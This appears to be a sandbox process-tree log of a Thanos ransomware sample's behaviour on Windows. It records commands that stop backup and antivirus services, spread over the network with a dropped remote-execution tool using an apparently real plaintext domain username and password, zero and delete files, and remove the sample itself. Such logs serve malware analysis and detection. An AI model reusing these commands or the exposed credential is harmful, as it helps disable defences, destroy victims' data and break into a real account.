C:\Windows\SYSTEM32\sc.exe"sc.exe" config SstpSvc start= disabled2⤵PID:6180
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLWriter start= disabled2⤵PID:6172
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵PID:6164
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵PID:6156
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop sophos /y2⤵PID:6148
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop CAARCUpdateSvc /y2⤵PID:6140
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop CASAD2DWebSvc /y2⤵PID:5948
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop AcronisAgent /y2⤵PID:5264
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop AcrSch2Svc /y2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1196
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecRPCService /y2⤵PID:5964
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecJobEngine /y2⤵PID:4292
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecDiveciMediaService /y2⤵PID:5328
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecAgentBrowser /y2⤵PID:5128
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecAgentAccelerator /y2⤵PID:6104
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecVSSProvider /y2⤵PID:6004
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamDeploymentService /y2⤵PID:5760
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamTransportSvc /y2⤵PID:5708
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VSNAPVSS /y2⤵PID:5636
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop zhudongfangyu /y2⤵PID:5500
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop YooIT /y2⤵PID:5432
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop YooBackup /y2⤵PID:5392
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop Intuit.QuickBooks.FCS /y2⤵PID:5268
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop ccEvtMgr /y2⤵PID:5012
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop mfewc /y2⤵
- Suspicious use of WriteProcessMemory
PID:4364
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop avpsus /y2⤵
- Suspicious use of WriteProcessMemory
PID:4216
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" use \\10.10.0.92 /USER:SHJPOLICE\amer !Omar20122⤵PID:6080
-
-
C:\Users\Admin\AppData\Local\Temp\2kx1y5bm.exe"C:\Users\Admin\AppData\Local\Temp\2kx1y5bm.exe" \10.10.0.92 -u SHJPOLICE\amer -p !Omar2012 -d -f -h -s -n 2 -c C:\Users\Admin\AppData\Local\Temp\thanos-cleaned.exe2⤵
- Executes dropped EXE
PID:5864 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5708
-
-
-
C:\Windows\SYSTEM32\arp.exe"arp" -a2⤵PID:6920
-
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta2⤵
- Blocklisted process makes network request
PID:7096
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵PID:4884
-
C:\Windows\system32\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
PID:5484
-
-
C:\Windows\system32\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵PID:6352
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\thanos-cleaned.exe2⤵PID:6468
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4268
-
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:7140
-
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y1⤵PID:5940
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop YooIT /y1⤵PID:6128
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop zhudongfangyu /y1⤵PID:5276
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService /y1⤵PID:4692
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y1⤵PID:5172
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sophos /y1⤵PID:200
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASAD2DWebSvc /y1⤵
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BMR Boot Service /y2⤵PID:5316
-
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CAARCUpdateSvc /y1⤵PID:5308
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y1⤵PID:3984
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y1⤵PID:6616
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y1⤵PID:5908
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y1⤵PID:7052
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y1⤵PID:7044
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y1⤵PID:6216
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VSNAPVSS /y1⤵PID:3648
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y1⤵PID:6040
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop YooBackup /y1⤵PID:6032
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y1⤵PID:5524
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mfewc /y1⤵PID:5308
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop avpsus /y1⤵PID:5148
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:5644